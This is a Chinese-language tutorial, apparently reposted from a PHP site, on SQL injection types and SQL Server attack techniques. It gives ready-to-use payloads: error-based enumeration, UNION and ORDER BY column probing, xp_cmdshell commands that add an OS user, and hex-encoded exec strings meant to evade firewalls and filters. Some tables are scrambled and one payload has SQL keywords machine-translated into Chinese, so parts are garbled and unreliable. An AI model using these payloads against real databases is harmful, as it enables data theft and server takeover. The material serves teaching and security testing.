首頁 >資料庫 >mysql教程 >sql注入的三種方式是什麼

sql注入的三種方式是什麼

醉折花枝作酒筹
醉折花枝作酒筹原創
2021-07-27 10:41:4933726瀏覽

sql注入的三種方式是:1、數字型注入,當輸入的參數為整數時,可能存在數字型注入漏洞;2、字元型注入,當輸入參數為字串時,可能有字元型注入漏洞;3、搜尋型注入,進行資料搜尋時沒過濾搜尋參數。

sql注入的三種方式是什麼

本教學操作環境:windows7系統、mysql8.0版、Dell G3電腦。

SQL 注入原理

SQL注入攻擊指的是透過建構特殊的輸入作為參數傳入Web應用程序,而這些輸入大都是SQL語法裡的一些組合,透過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地過濾使用者輸入的數據,致使非法數據侵入系統。

SQL 注入分類

1. 數字型注入

當輸入的參數為整數時,則有可能存在數位型注入漏洞。

假設存在一條URL 為:HTTP://www.aaa.com/test.php?id=1

可以對後台的SQL 語句猜測為:

SELECT * FROM table WHERE id=1

判斷數字型漏洞的SQL 注入點:

① 先在輸入方塊中輸入一個單引號'

這樣的SQL 語句就會變成:

SELECT * FROM table WHERE id=1',

不符合語法,所以該語句肯定會出錯,導致腳本程式無法從資料庫取得數據,從而使原來的頁面出現異常。

② 在輸入框中輸入and 1 = 1

SQL語句變成:

SELECT * FROM table WHERE id=1 and 1 = 1

語句正確,執行正常,傳回的資料與原始請求無任何差異。

③ 在資料庫中輸入and 1 = 2

SQL 語句變成:

SELECT * FROM table WHERE id=1 and 1 = 2

雖然語法正確,語句執行正常,但是邏輯錯誤,因為1 = 2 為永假,所以回傳資料與原始請求有差異。

如果以上三個步驟全部滿足,程式就可能存在數字型 SQL 注入漏洞。

2. 字元型注入

當輸入參數為字串時,則可能存在字元型注入漏洞。數位型與字元型注入最大的差異在於:數字型不需要單引號閉合,而字元型一般需要使用單引號來閉合。

字元型注入最關鍵的是如何閉合 SQL 語句以及註解多餘的程式碼。

假設後台的SQL 語句如下:

SELECT * FROM table WHERE username = 'admin'

判斷字元型漏洞的SQL 注入點:

① 還是先輸入單引號admin' 來測試

這樣的SQL 語句就會變成:

SELECT * FROM table WHERE username = 'admin''。

頁面異常。

② 輸入:admin' and 1 = 1 --

注意:在admin 後有一個單引號',用於字串閉合,最後還有一個註解符--(兩條槓後面還有一個空格!!!)。
SQL 語句變成:

SELECT * FROM table WHERE username = 'admin' and 1 = 1 --

頁面顯示正確。

③ 輸入:admin' and 1 = 2 --

SQL 語句變成:

SELECT * FROM table WHERE username = 'admin' and 1 = 2 --

頁面錯誤。

滿足上述三個步驟則有可能存在字元型 SQL 注入。

3.搜尋型注入

這是一類特殊的注入型別。這類注入主要是指在進行資料搜尋時沒過濾搜尋參數,一般在連結位址中有 "keyword=關鍵字" 有的沒有顯示在的連結位址裡面,而是直接透過搜尋框表單提交。此類注入點提交的SQL 語句,其原形大致為:select * from 表名where 字段like '%關鍵字%' 若存在註入,我們可以構造出類似與如下的sql注入語句進行爆破:select * from 表名where 字段like '%測試%' and '%1%'='%1%'

以下是一些常見的注入叫法:

  • POST注入:注入欄位在POST 資料中

  • Cookie注入:注入欄位在Cookie 資料中

  • 延時注入:使用資料庫延時特性注入

  • 搜尋注入:注入處為搜尋的地方

  • base64注入:注入字串需要經過base64 加密

常見資料庫的注入

攻擊者對於資料庫注入,無非是利用資料庫取得更多的資料或更大的權限,利用的方式可以歸結為以下幾類:

  • 查詢資料

  • 讀取寫入檔案

  • #執行指令

###執行指令#################### #攻擊者對於程式註入,無論任何資料庫,無非都是在做這三件事,只不過不同的資料庫注入的SQL 語句不一樣罷了。 ######這裡介紹三種資料庫的注入:Oracle 11g、MySQL 5.1 和 SQL Server 2008。 ###

SQL Server

1. 利用錯誤訊息提取訊息

SQL Server 資料庫是一個非常優秀的資料庫,它可以準確地定位錯誤訊息,這對攻擊者來說是一件十分美好的事情,因為攻擊者可以透過錯誤訊息提取自己想要的資料。

① 列舉當前表或列

假設選擇存在這樣一張表:

sql注入的三種方式是什麼

查詢root 使用者的詳細信息,SQL語句猜測如下:

SELECT * FROM user WHERE username = 'root' AND password = 'root'

攻擊者可以利用SQL Server 特性來取得敏感資訊,在輸入方塊中輸入如下語句:

' having 1 = 1 --

最終執行的SQL 語句就會變成:

SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --

那麼SQL 的執行器可能會拋出一個錯誤:

sql注入的三種方式是什麼

攻擊者就可以發現目前的表名稱為user、而且存在字段id。

攻擊者可以利用此特性繼續得到其他列名,輸入如下語句:

' GROUP BY users.id HAVING 1 = 1 --

則SQL 語句變為:

SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --

#拋出錯誤:

sql注入的三種方式是什麼

由此可以看到包含列名username。可以一次遞歸查詢,知道沒有錯誤訊息回傳位置,這樣就可以利用 HAVING 字句得到當表的所有列名。

附註:Select指定的每一列都應該出現在Group By子句中,除非對這一列使用了聚合函數

②. 利用資料型別錯誤擷取資料

如果試圖將字串與非字串比較,或將字串轉換為另一個不相容的類型,那麼SQL 編輯器將會拋出例外。

如下列SQL 語句:

SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)

執行器錯誤提示:

sql注入的三種方式是什麼

這就可以取得到使用者的使用者名稱為root。因為在子查詢SELECT TOP 1 username FROM users 中,將查詢到的用戶名的第一個返回,返回類型是varchar 類型,然後要跟int 類型的1 比較,兩種類型不同的數據無法比較而報錯,從而導致了資料外洩。

利用此方法可以遞歸推導出所有的帳號資訊:

SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))。

透過建構此語句就可以獲得下一個 使用者名稱;若把子查詢中的 username 換成其他列名,則可以取得其他資料列的信息,這裡就不再贅述。

2. 取得元資料

SQL Server 提供了大量視圖,以便於取得元資料。可以先猜測出表格的列數,再用 UNION 來建構 SQL 語句來取得其中的資料。

如:

SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

若目前表的列數為2,則可以UNION 語句取得目前資料庫表。具體怎麼猜測目前表的列數,後面進行描述。

一些常用的系統資料庫檢視:

##SYS .DATABASE_PRINCIPALS資料庫中每個權限或列異常權限SYS.DATABASE_FILES儲存在資料庫中的資料庫檔案SYSOBJECTS資料庫中建立的每個物件(包括約束、日誌以及預存程序)
3. ORDER BY 子句猜測列數

可以用 ORDER BY 語句來判斷目前表的列數。

如:

① SELECT * FROM users WHERE id = 1——SQL執行正常

②SELECT * FROM users WHERE id = 1 ORDER BY 1 (依照第一列排序)——SQL執行正常

③ SELECT * FROM users WHERE id = 1 ORDER BY 2 (按照第二列排序)——SQL執行正常

④ SELECT * FROM users WHERE id = 1 ORDER BY 3 (依第三列排序)——SQL 執行正常

⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4 (依照第四列排序)——SQL 拋出例外:

sql注入的三種方式是什麼

由此可以得出,目前表格的列數只有3 列,因為當依照第4 列排序時報錯了。在 Oracle 和 MySql 資料庫中同樣適用此方法。

在得知列數後,攻擊者通常會配合 UNION 關鍵字進行下一步的攻擊。

4. UNION 查詢

UNION 關鍵字將兩個或多個查詢結果組合為單一結果集,大部分資料庫都支援 UNION 查詢。但適用UNION 合併兩個結果有以下基本規則:

  • 所有查詢中的列數必須相同

  • 資料型別必須相容

① 用UNION 查詢猜測列數

不只可以用ORDER BY 方法來猜測列數,UNION 方法同樣可以。

在先前假設的user 表中有5 個欄位,若我們用UNION 聯合查詢:

SELECT * FROM users WHERE id = 1 UNION SELECT 1

資料庫會發出異常:

sql注入的三種方式是什麼

可以透過遞迴查詢,直到無錯誤產生,就可以得知User 表的查詢欄位數:

UNION SELECT 1,2、 UNION SELECT 1,2,3

也可以將SELECT 後面的數字改為null、這樣不容易出現不相容的異常。

② 聯合查詢敏感資訊

在得知列數為4後,可以使用語句繼續注入:

UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U' (註:xtype='U' 表示物件類型是表)

若第一列的資料型別不匹配,資料庫會報錯,那麼可以遞歸查詢,直到語句相容。等到語句正常執行,就可以將 x 換為 SQL 語句,查詢敏感資訊。

5. 利用SQL Server 提供的系統函數

SQL Server 提供了非常多的系統函數,利用該系統函數可以存取SQL Server 系統表中的信息,而無需使用SQL 查詢語句。

如:

  • SELECT suser_name():傳回使用者的登入識別名稱

  • SELECT user_name():基於指定的識別號碼傳回資料庫使用者名稱

  • SELECT db_name():傳回資料庫名稱

  • SELECT is_member('db_owner'):是否為資料庫角色

  • SELECT convert(int, '5'):資料型別轉換

6. 預存程序

預存程序(Stored Procedure) 是一組在大型資料庫系統中完成特定功能的SQL “函數”,如:執行系統指令、檢視登錄、讀取磁碟目錄等。

攻擊者最長使用的預存程序是 “xp_cmdshell”,這個預存程序允許使用者執行作業系統指令。

例如:http://www.aaa.org/test.aspx?id=1 中存在註入點,那麼攻擊者就可以實施指令攻擊:
http://www.aaa. org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'

最終執行的SQL 語句如下:

SELECT * FROM table WHERE id=1; exec xp_cmdshellc xp_cmdshell 'net user test test /add'

分號後面的那一段語句就可以為攻擊者在對方伺服器上新建一個使用者名為test、密碼為test 的使用者。

附註:並非任何資料庫使用者都可以使用此類預存程序,使用者必須持有 CONTROL SERVER 權限。

常見的危險預存程序如下表:

資料庫檢視 說明
#SYS.DATABASES SQL Server 中的所有資料庫
#SYS.SQL_LOGINS SQL Server 中的所有登入名稱
INFORMATION_SCHEMA.TABLES 目前使用者資料庫中的所有資料表
INFORMATION_SCHEMA.COLUMNS #目前使用者資料庫中的所有欄位
SYS.ALL_COLUMNS #使用者定義物件和系統物件的所有欄位的聯合
##說明#sp_addlogin建立新的SQL Server 登錄,允許使用者使用SQL Server 身分連接到SQL Server 實例sp_dropuser從目前資料庫中刪除資料庫使用者xp_enumgroups提供Microsoft Windows 本機群組清單或在指定的Windows 網域中定義全域群組清單#xp_regread讀取登錄機碼xp_regwrite寫入登錄機碼#xp_redeletevalue刪除登錄機碼#xp_dirtree讀取目錄#sp_password更改密碼xp_servicecontrol#或啟動某服務

另外,任何資料庫在使用一些特殊的函數或預存程序時,都需要特定的權限。常見的SQL Server 資料庫的角色與權限如下:

預存程序
角色
bulkadmin 可以執行BULK INSERT 語句
#dbcreator 可以建立、變更、刪除和還原任何資料庫
#diskadmin 可以管理磁碟檔案
#processadmin 可以種植在資料庫引擎中執行的實例
#securityadmin 可以管理登入及其屬性;可以利用GRANT、DENY 和REVOKE 伺服器層級的權限;還可以利用GRANT、DENY 和REVOKE 資料庫層級的權限;此外也可以重置SQL Server 登入名稱的密碼
serveradmin 可以更改伺服器範圍的設定選項和關閉伺服器
setupadmin 可以新增和刪除連結伺服器,並且可以執行某些系統預存程序
sysadmin 可以在資料庫引擎中執行任何活動
7.動態執行

SQL Server 支援動態執行語句,使用者可以提交一個字串來執行SQL 語句。

如:exec('SELECT username, password FROM users')

也可以透過定義十六進位的 SQL 語句,使用 exec 函式執行。大部分Web 應用程式和防火牆都過濾了單引號,利用exec 執行十六進位SQL 語句可以突破許多防火牆及防注入程序,如:

declare @query varchar(888)
select @query=0x73656C6563742031
exec(@query)

或:

#declare/ **/@詢問/**/varchar(888)/**/選擇/**/@query=0x73656C6563742031/**/exec(@query)

#相關推薦:《mysql教學

以上是sql注入的三種方式是什麼的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn